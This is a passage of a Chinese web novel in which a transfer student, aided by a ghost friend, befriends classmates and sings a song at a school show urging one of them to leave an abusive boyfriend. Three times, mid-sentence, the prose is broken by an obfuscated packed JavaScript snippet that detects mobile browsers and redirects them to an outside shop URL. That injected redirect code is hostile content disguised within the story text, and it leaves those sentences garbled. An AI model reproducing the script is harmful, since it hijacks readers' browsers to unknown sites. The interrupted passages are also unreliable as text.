“渣男。”林新月评价，“那风花さん没有主动提分手吗？” “风花さん……性格比较软，她男朋友凶一点她就不敢说话了。 “反正就这样拖着吧，全校都知道他俩的事。” 几天下来，虽然林新月日语不怎么样，但是在藤原凛和楼思渺的帮助下，跟班上同学混得还不错。 至少现在来上学可以跟同学们说：“おはよう——（早上好——）” “おはよう。” “おはよう、林さん。” “おはようございます。” “……” 「大家早上真有精神。」 林新月在座位上坐下，楼思渺照例跟着林新月。 其实楼思渺可以飘起来，她这几天研究了一下鬼的行为。 于是她表演了一个坐空气凳子，飘在林新月旁边。 “ちょっと静かにして。みんな、来月、『新入生歓迎合同発表会』がある。クラスも部活も必ず出演だ。班長。（好，安静一下。同学们，有一件事要通知大家。下个月要举行‘新生欢迎联合表演会’，每个班级和社团都要参加。班长。）” “はい。（在。）” “よろしく頼むよ。（拜托你了。）” “はい、頑張ります。（好的，我会努力的。）” “では、授業を始める。（接下来，我们开始上课。）” 林新月班的班长是一位一头银色短发的女生，戴着眼镜，人显得很干练。 第二天，班长就整理了一份名单—— 上面标注了表演会上要参加社团演出和后勤工作的同学。 除了刚转过来的林新月，其他同学竟然都没有空。 所以…… “林さん、お願いします！（拜托你了林同学！）”班长双手合十，她也知道这有点为难。 毕竟林新月这几天语言不太通，表现得很明显。 「我看你是在为难我胖虎*。」 “でも…（但是……）” “なんでもいいんです！詩の朗読でも、何でも！本当にお願いします、林さん！（表演什么都可以，林同学，诗朗诵都可以，拜托了！）” 谁能拒绝“キラキラ（闪闪发光）”的眼神。 “それじゃあ…やってみます。（那……我试试吧。）” “やった！ありがとう、林さん！助かったよ！じゃあ、今週中に決まった内容を教えてね。（谢谢林同学！帮大忙了！那，这周之内把定好的内容告诉我哦。）” 藤原凛在一旁翻译。 林新月：“OK。” 班长：OK。 “你觉得呢？藤原さん。” 林新月跟藤原凛在寝室里，今天藤原凛也在抄笔记。 “班长没什么要求，唱歌比较简单，林さん如果不好意思的话，我们出资买个面具，当‘蒙面唱将’。” 林新月点点头，“那就随便唱首歌吧。” 「唱什么呢？」 林新月打开手机翻翻音乐软件排行榜，看看前面有没有听过的。 “他们赶鸭子上架，你真要去唱吗？” 楼思渺飘在一边，她已经熟练掌握飘的平衡感。 林新月看了看藤原凛，发现她专心致志抄笔记，于是打字：“就当是挑战一下自己吧，我长这么大还没有上过舞台呢。” 心里默想：「反正大家都是Q版，这也不是我的身体，压力值直线下降。」 “那行吧，你要是需要我可以给你当提词器。” “思渺你最好了。” “嗯哼。” “我给你放动画看吧。” “好啊。” 楼思渺看起了动画，林新月问藤原凛：“藤原さん，楼さん的事情什么时候有着落啊？” “不知道诶，我明天去学生会的时候问一下会长吧。” “谢谢藤原さん。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17068571|195180||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>林新月思考了一天的曲目有结果了，楼思渺的事情也有结果了。 “我唱《红日》*怎么样思渺？” “命运就算颠沛流离，命运就算曲折离奇，命运就算恐吓着你做人没趣味。别流泪，心酸，更不应舍弃。我愿能，一生永远陪伴你～” 林新月用着不标准的粤语唱了一段。 “感觉还挺符合我现在的人生阶段的。” 「颠沛流离，曲折离奇。」 “可以啊。虽然粤语很塑料，但是没跑调。” “我觉得我应该不能速成粤语，我唱普通话版的如何？” “都可以啊，他们不是对你没要求吗？” 林新月搜出普通话版的《红日》听，发现—— “歌词居然不一样诶。” 「平时只听粤语版的都不知道。」 “感觉怪怪的，有点不习惯。” 楼思渺评价：“就算你唱塑料粤语版，他们也听不出来。” “あの…班長…（班长——）” 班长正要去办公室，“あ、林さん。どうした？（啊，林同学。怎么了？）” “班長…あの…私…《红日》を…歌う…（班长，那个，我准备唱《红日》）” “《红日》か？了解、さっそく登録しとくね。（《红日》吗？好的，我给你登记上。）” “OK。” 林新月目送班长离开。 刚准备回教室就被一个紫色头发的男生叫住了。 “お前が、その転校生か？（你就是那个转学生吗？）” 林新月听到的：“お前が、そのXXXか？” 林新月眼神从紫发男身上飘到楼思渺身上。 楼翻译官：“他问你是转学生吗？” 「哦——」 “你直接跟他说你找谁，‘誰を探していますか。’” 林新月无情重复：“誰を探していますか。” 紫发男轻佻一笑：“おーまーえー（找你啊。）” 林新月：“？” “林さん！” 林新月转头，“藤原さん。” 藤原凛看都没看紫发男，把林新月推进教室，“快上课了进教室吧。” 然后在林新月耳边悄悄说，“刚刚那个就是风花さん的男朋友。” 「哦，刚刚那个油腻男就是那个渣男。」 “林さん、もう、何を発表するか、決めましたか？（林同学，你已经决定要表演什么了吗？）” “はい！さっき、班長に…伝えました。（嗯！刚刚跟班长说了。）” 风花阳菜看向藤原凛，“藤原さん…さっき、和成さんの姿が、ちょっと見えたような気がして……（藤原同学，刚刚好像看到了和成……）” 林新月也看向藤原凛，她其实是听不懂的，但奈何有楼翻译官在。 「原来风花的男朋友叫合成。」 「合成大西瓜，哈哈哈哈。」 “ははは、気のせいだよ、きっと。（肯定是你看错了哈哈哈。）”藤原凛马上转移话题，“林さん、もうすぐ授業だよ。お昼、一緒に食べようね。（要上课了，中午一起吃午饭哦林同学。）” 林新月的翻译慢半拍，“啊……” 藤原凛马上回过神，“我是说中午一起吃饭吧林さん。” 林新月：“好啊。” 「我们不都一起吃饭的吗？」 9. Its a secret 接下来一周，林新月总能遇到那个“合成大西瓜”。 对方不顾她的想法叽里呱啦说一大通，楼思渺也有没翻译的意愿。 林新月：「听不懂也挺好的。」 林新月懒得听，直接走开。 说实话林新月对二次元还有点脸盲，虽然大家的发色都五花八门的，但颜色就那么些，所以总有撞色的头发。 要不是对方每次开口都一个死样，林新月也认不出来。 “待って！（等等！）” 林新月老是不理他，他也有点恼羞成怒了。 保本和成拉住林新月的手腕，“てめぇ…いい加減にしろ！（你……给我适可而止！）” 这一幕被路过的风花阳菜看见。 “啪！”保本和成的手被风花阳菜打掉，林新月站在风花阳菜身后。 保本和成震惊地看着平时逆来顺受的风花阳菜。 风花阳菜反应过来，紧张地说：“和、和成さん……？は…私を探して…ですか——（和……和成，你……你找我……吗——）” “啪。”保本和成反手扇了风花阳菜一巴掌。 “てめぇ……何様のつもりだ？女友達だからって、調子に乗んじゃねえよ！（你以为你是个什么东西！别以为是我女朋友就可以为所欲为！）” 一切都发生得太快了，没有楼思渺翻译林新月根本不知道对方说了什么。 楼思渺没有实体也做不了什么。 “お前、何してんのよっ！（你干什么！）”藤原凛打断了保本和成的动作。 “その生徒。（这位同学。）”高桥龙也戴着他的学生会袖章走来，“学生会室まで同行願う。（请跟我们走一趟。）” 保本和成也是认识学生会长的，欺负人被抓了个现行，顶着学生会长的视线跟其他学生会的成员走了。 “風花さん、大丈夫？（风花同学，还好吗？）” 风花阳菜捧着自己被打的那边脸，说：“すみません……みんなに、みっともないところを見せてしまって……（不好意思，让你们看笑话了……）” 然后低下头说：“…私、大丈夫ですから…（我没事……）” “風花さん……”林新月受语言限制，转头看向藤原凛。 “風花さん、まず保健室に行こう。（我先带你去医务室吧风花同学。）”说着藤原凛扶着风花阳菜向医务室走去，语气里带着点压制的愤怒，“保本なんて、ほんと最低だよ！こんなの、もう別れちゃいなよ！（保本那种人，真是差劲透了！你趁这个机会跟他分手吧！）” “でも…（可是……）” 两人离开，林新月还想跟上去，被高桥龙也拦住了。 “林同学等一下。” 林新月脸色不太好看，顺着他的手看向他，用眼神询问他有什么事。 “风花同学的事情我们会解决，现在是来告诉你楼同学的事。” “思渺……你们能送她回去了吗？” “嗯，换个地方说吧，你应该还没有吃晚饭吧。” “嗯……好吧。” 两人来到会长办公室，刚刚路过一件教室，林新月看见那个“合成大西瓜”在里面写什么东西。 “坐。”高桥龙也做了个“请坐”的手势。 “好。”林新月顺势坐下来。 「我的晚饭呢？」 “我叫了晚饭，已经在路上了，先说说楼同学的事吧。” “……好。” 高桥龙也给林新月倒了杯茶。 “谢谢。” “过段时间我们要去你们那边参加交流会，到时候楼同学跟我们一起过去。当然林同学也一起。” “哦，好啊。什么时候啊？” “就在表演会后。” “哦……” “到时候要在那边待几天，你提前收拾好行李，我会帮你请假。” “好……” 「穿过来这么久没正经上过几天课，感觉一直在请假。」 “咚咚咚。” 办公室的门被打开了，“龙也。” 林新月看着来人，是李沐风。 手里还提着一个超大的食盒。 高桥龙也点头代表打招呼，李沐风把食盒放在办公桌上。 “一起吃吧。” “我们三个人……？”林新月问道。 感觉有点尴尬。 “还有藤原和风花同学，我叫她们一起过来，可能还要一会儿。” “哦……”松了口气。 高桥龙也放下茶杯，问道：“听说林同学要代表班级去表演节目？内容已经定好了。” “嗯……啊……”林新月突然想到什么，问，“我可以换个曲目吗？就是换首歌。” “可以啊，我叫他们改一下就好，你下周内把音频文件交到学生会就行。” 高桥龙也多问了一句，“你想换成什么？” 紫毛男被学生会带走后，就没有再出现在林新月视线范围内。 最近风花阳菜都是跟林新月和藤原凛一起吃午饭的。 林新月在三个人的帮助下，日语有那么一点进步吧，努力尝试开启话题。 “風花さん、発表会で、あなたの…部活は…何を…発表するん…ですか？（风花同学，你们社团表演会上演出什么节目啊？）” “私たちの部は、演劇をやる予定です。（我们社团准备演话剧。）” “じゃあ…風花さんも…出演するん…ですか？（那，风花同学也出演吗？）” “はい、くじ引きで決まったんです。当日、林さんが舞台をご覧になれば、すぐにわかりますよ。（嗯。我们是抽签决定的，到时候，上台的时候林同学就知道了。）” “哦……哦。”句子有点长，林新月慢慢品。 “我倒是知道一点哦。”藤原凛说。 林新月看向藤原凛。 藤原凛“咳咳”，“据社团成员说，话剧剧本是风花さん写的哦。” 林新月转头看向风花阳菜：“すごい——（好厉害——）” 风花阳菜不明所以：“何がですか？（发生了什么？）” “なんでもない、とっても…楽しみ…にしています、風花さんの…劇を！（没什么，我非常期待你们的话剧！）” “ありがとう。（啊，谢谢。）” “林さんは…どのような出し物を準備なさっているんですか？クラス代表だと、きっと、とてもプレッシャーが大きいですよね…（林同学呢？准备了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17068572|195180||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么节目？代表我们班级压力会很大吧。）” 林新月“啊……嗯……”一会儿，在楼思渺翻译后才知道风花阳菜说了什么。 “It''sasecret.（这是一个秘密。）”林新月竖起一根手指放在唇边，“プレッシャーは……少しあります。でも、自分を…鍛える…いい機会…だと思っています。（压力是有一点啦，就当做是锻炼自己吧。）” “そうなんですね。林さんは、本当に前向きで、素敵だと思います。（这样啊。林同学心态很好呢，我觉得这样很好。）” “まあまあ——”林新月转移话题，“藤原さん表演会期间有什么事忙吗？” “私は裏方担当なんだ！だから当日は、ちょっとバタバタしちゃうかもしれないな。（我负责后勤工作，到时候可能会有点忙。）” 林新月还在听翻译，就听见风花阳菜说：“それは大変そうですね。最近は学生会もお忙しいようで…藤原さんがよく走り回っているのを、目にします。（那还真是挺忙的呢。最近学生会也很忙呢，经常看见藤原同学跑来跑去的。）” 林新月只好点头“哦哦”。 “对了，林さん。” 林新月还在点头呢，闻言：“啊？” “会长说你要换曲目，音频文件交了吗，这周交哦。” “啊，哦！对哦，我差点忘了，我今天就去。” “嗯，别忘记咯。”藤原凛站起来，“さ、教室に戻ろ！（走吧，回教室！）” 下午放学。 “風花さん、さようなら。お気をつけて。（风花同学拜拜，路上小心。）” 风花阳菜跟林新月挥挥手，说了句“さようなら”就离开了。 “那林さん你自己去找会长吧，我要先去我的社团一趟。” “好的，我上次去过认识路。” “拜拜，林さん。待会儿见。” “拜拜。” 林新月凭着记忆前往学生会长办公室，敲敲门，高桥龙也在。 “会长。” 高桥龙也从一堆文件中抬头，“林同学。” “我来交音频文件。” “给我吧，我待会儿去开会带过去。” “好。”林新月把U盘交给高桥龙也，看对方好像很忙的样子，就开口，“那我走了。” “等一下。”高桥龙也合上文件，摘下鼻梁上的眼镜。 「我就说感觉哪里不一样，原来是戴了眼镜。」 “林同学的东西找到了，跟我一起去拿吧。” “我的东西？” 「哦，我的手机。我都要忘了。」 “你的手机还有钱包。” 「我还有钱包呢。」林新月反应了一会儿，「我要有钱啦！」 高桥龙也把林新月带到学生会的档案室，从一个档案袋里拿出她的手机和钱包。 林新月接过自己的东西，顺便看见那个档案袋里的画。 「看来画得挺真的，跟我看见的Q版一模一样。」 “那个画为什么要装到档案袋里啊？” 高桥龙也正在重新封好档案袋，闻言，说道：“这是伤害到你的那个怪异的相关物品，我们存个档。” “哦哦，这样。” 10. Hey hey you 新生欢迎联合表演会，正如火如荼地开展。 学生会忙得不可开交，昨晚藤原凛跟林新月一起睡在宿舍里。 今早林新月起床就没看见藤原凛，直到开始表演节目了还没见着人。 “風花さん、どうしたんですか？（风花同学，你怎么了？）” 林新月回到划定的班级座位，发现风花阳菜的脚踝缠了绷带。 风花阳菜动了动脚，“大丈夫です。昨日のリハーサルで、ちょっと足を挫いちゃって。（没什么事，昨天排练的时候不小心扭了下。）” 林新月在风花阳菜身边坐下，周围的同学基本都已经落座，主持人开始报幕。 “それじゃあ…風花さん、劇…の出演は、できなくなっちゃうんですか？（那风花同学，你们的话剧表演不就不能参加了吗？）” “ええ…（嗯。）”风花阳菜笑了笑，“でも、大丈夫です。私の役は、あまり重要じゃなかったから。代役が決まりました。（没事的，我的角色不怎么重要，临时换人了。）” “哦……” 林新月刚想开口，风花阳菜就已经转移话题，“あ…林さん、始まりますよ。（节目开始了，林同学。）” 灯光暗下来，林新月看不清风花阳菜的表情，但她已经开始看表演了。 林新月也转头看向前方。 楼思渺已经能够自如地飘在空中，现在正侧躺在林新月头上。 歌舞什么的林新月都能看看，但是表演话剧、朗诵之类的，虽然有楼思渺翻译，但林新月还是不太能理解。 还有几个节目就到林新月了，林新月去后台准备。 “班長、ちょっとお話があるんですが…いかがでしょうか？（班长，我有件事想跟你说……你觉得怎么样？）” 班长推了推眼镜，说：“ん？いいと思うよ。安心して行って来いよ、林さん。（嗯？我觉得可以啊，放心去吧林同学。）” 林新月站在后台，紧急求助楼思渺。 “思渺思渺，‘这首歌是送给一个朋友的，希望她能迈向新的人生舞台’怎么说？” 楼思渺：“この歌は、ある友達へ贈るものです。彼女が、新たな人生のステージへと踏み出せますように。” 翻译完，林新月不断重复，巩固记忆。 “祝你演出顺利。” 林新月深呼吸，“我尽量！” 轮到林新月上台。 “続きましては、高校二年二組による発表—（接下来，是高二二班带来的表演——）” 林新月站上舞台，聚光灯打在她的身上。 台下密密麻麻的Q版人头，花花绿绿的发色，还真是——没什么紧张感呢。 “この歌は、ある友達へ贈るものです。彼女が、新たな人生のステージへと踏み出せますように。” “Heyheyyouyou Idon''tlikeyourboyfriend Nowaynoway Ithinkyouneedanewone Heyheyyouyou Icouldbeyournewfriend*” “あれ？歌詞、間違えてる？（唱错歌词了吗？）” “違うんじゃない？アレンジなんじゃね？（是改编吧？）” “Heyheyyouyou Iknowwhathe''slike,see Nowaynoway No,it''snotasecret Heyheyyouyou Youneedarealgoodfriend” 藤原凛正站在舞台边休息，听到歌词转头看向自己的班级。 “You''resokind Don''twasteyourmind You''resomuchstronger Ithinkaboutwithoutthatliar You''llshinebrighter Don''tyouknow Whatwecando Tomakeyoufeelalright” 坐在原地的某人可能也意识到了什么。 “Don''tpretend Deepdownyouknow Youdeservethebest Hellyeah You''retheprincess,ettherest Icantellhe''snogoodforyou AndyouknowI''mright” 楼思渺近距离飘着观赏林新月唱歌，虽然她听过很多遍。 “He''slike,sowhatever Youdeservesomuchbetter Ithinkit''stimetobreakupnow C''mon,that''swhateveryone''ssayingnow Heyheyyouyou ……” 有一些观众可能意识到了什么，在交头接耳。 结合最近发生的事情，已经有人在找故事里的另一个主角。 “…… Causehe''slike,sowhatever Youdeservesomuchbetter Ithinkit''stimetobreakupnow Yeah,that''swhateveryone''ssayingnow Heyheyyouyou ……” 坐在座位上的某紫发男，接受了来自大家明里暗里的视线，脸色不太好看。 “…… Inasecond,you''llseerightthroughhislies ''Causeyoucan,causeyoucanbesomuchbetter Together,girl！Sowhen''sitgonnasinkin He''ssouseless,whatthehellwereyouthinking Inasecond,you''llleavehiminthedust ''Causeyouwill,''causeyouwillshinewithouthim It''sallover，nowit''stimetosinkin You''resobrilliant,that''swhatweallbelievein Heyheyyouyou ……” 舞台上只有林新月一个人，穿着校服。 舞台下，不止一个人。 “…… Heyheyyouyou Wedon''tlikeyourboyfriend Nowaynoway Wethinkyouneedanewone Heyheyyouyou Wecouldbeyournewfriend (Nowaynoway) Heyheyyouyou Weknowwhathe''slike,see Nowaynoway No,it''snotasecret Heyheyyouyou Youneedarealgoodfriend Heyhey!” 林新月心跳嘭嘭嘭地从舞台上下来。 「激动！」 风花阳菜坐在原位，藤原凛在人群中找到她，看见她身边有座位就凑过去坐下。 风花阳菜注意到了，“藤原さん。（藤原同学。）” “風花さん、Ithinkit''stimetobreakup,too.（风花同学，我也认为是时候分手了。）” “……”风花阳菜沉默了一会儿，说：“うん…（嗯……）” “風花さん。（风花同学。）” “風花さん（风花同学。）” 有几个同班同学跟风花阳菜搭话。 “風花さん、私たちも、あなたがあの彼氏から離れてくれたらいいなって思ってるんだ。（风花同学，我们也希望你可以摆脱你的那个男朋友。）” “そうそう！風花さんのこと、みんな良い子だって知ってるよ。（对啊对啊，我们都知道你很好。）” “でも彼氏の方はちょっと……ね。（但是你那个男朋友就……是吧。）” “うん。やっぱり、風花さんにはも ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17068573|195180||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' っと楽しになってほしいな。（嗯嗯，我们还是希望你能过得开心一点。）” “みんな…（大家……）”风花阳菜眼里闪着泪光，“ありがとう。必ず、そうします。（谢谢大家，我会的。）” 大家叽叽喳喳围在风花阳菜身边吐槽她的男朋友。 藤原凛摸了摸风花阳菜的头，风花阳菜低着头默默地擦眼泪。 林新月在下一个节目开始的时候就回到班级了。 有同学小声的说：“林さん、歌、とっても良かったよ！（林同学，唱得很好！）” “本当に素敵な歌声でした、林さん。（唱得很好听呢，林同学。）” “あ……ありがとう。（啊，谢谢。）”林新月被夸还有点不好意思。 林新月来到风花阳菜身边，发现藤原凛坐在那里，于是坐在了另一边。 “藤原さん忙完了吗？” 藤原凛小声回答：“我就坐一会儿，待会儿还要去忙。” “哦哦。” “風花さん…（风花同学……）” 风花阳菜轻轻抽泣一声，“林さん…（林同学……）” 她抹抹眼泪，抬起头，笑着说：“歌、本当にきれいでした……私、すごく好きです。ありがとう。（唱得很好听哦，我很喜欢。谢谢你。）” 林新月轻轻笑了一下：“気に入ってもらえて、よかった。（你喜欢就好。）” 表演持续了一整天，每个表演的个人和团体都有收到安慰奖。 主持人宣布结束退场后，大家都陆陆续续离开了。 林新月跟风花阳菜一起离开礼堂，刚走出礼堂大门就被藤原凛拦截了。 “林さん、風花さん、こっちこっちー。（林同学、风花同学，这边这边。）” “怎么了藤原さん？” “嘿嘿，有一件好事。” “嗯？” “ね、ちょっといいことあるんだから。（跟我来，有一件好事哦。）” 藤原凛掉头带路，林新月和风花阳菜对视一眼跟了上去。 三人没有走太远，在一个搭的棚子下面，有几个学生会成员，高桥龙也也在，还有那个紫毛男。 风花阳菜的脚步迟疑了一下，林新月扶了她一下。 三个人走进棚子。 “会長！連れてきたよ！（会长！我们来了。）” 高桥龙也点点头，对风花阳菜说：“風花さん。保本和成が、君に話があると言っている。（风花同学，保本和成同学有话要对你说。）” 说完瞥了一眼紫发男。 紫发男一副敢怒不敢言的样子，“風花…さん。今までのこと…悪かった。…すまなかった。（风花……同学，以前的事，我很抱歉。对不起。）” 风花阳菜站在林新月身后，不知道说什么。 “済んだ。行け。あの件、忘れるな。（行了，走吧。不过，那件事别忘了。）” 紫发男丢下一句“うん（嗯）”就逃也似的离开了。 “什么事啊？藤原さん。” “明天就知道啦。” 藤原凛提醒到，“明日、掲示板見るの忘れないでね！（明天你们记得去公布栏看哦。）” 林新月和风花阳菜有点不明所以。 “我们还有一些收尾工作要做，練尾、風花さんを送ってやってくれ。（练尾同学，麻烦你陪同风花同学一起回去吧。）” “了解です、会長。（知道了，会长。）”练尾纪子转头就对风花阳菜说，“風花さん、一緒に帰りましょう。（走吧风花同学，我们一起回去。）” 林新月对风花阳菜说了句“バイバイ（拜拜）”，然后看着她们两个离开。 “林さん，今晚你自己吃晚饭吧，我还要忙一会儿呢。” “嗯，好。” 说完，藤原凛就跟着其他学生会成员离开了。 “会长呢？不用去忙吗？” “我留下来是想跟你说，这周六就出发，所以你明天得收拾行李了。” “哦，好的。” “嗯，加上往返的时间，可能会要五天。” “好的，我知道了。” “那我就走了，你回去吧。” 林新月叫住高桥龙也，“等一下，会长。” “有什么事？” “我想问一下，这次都有谁去啊？” “有我、藤原凛和李沐风。” “哦哦，那好。会长拜拜。”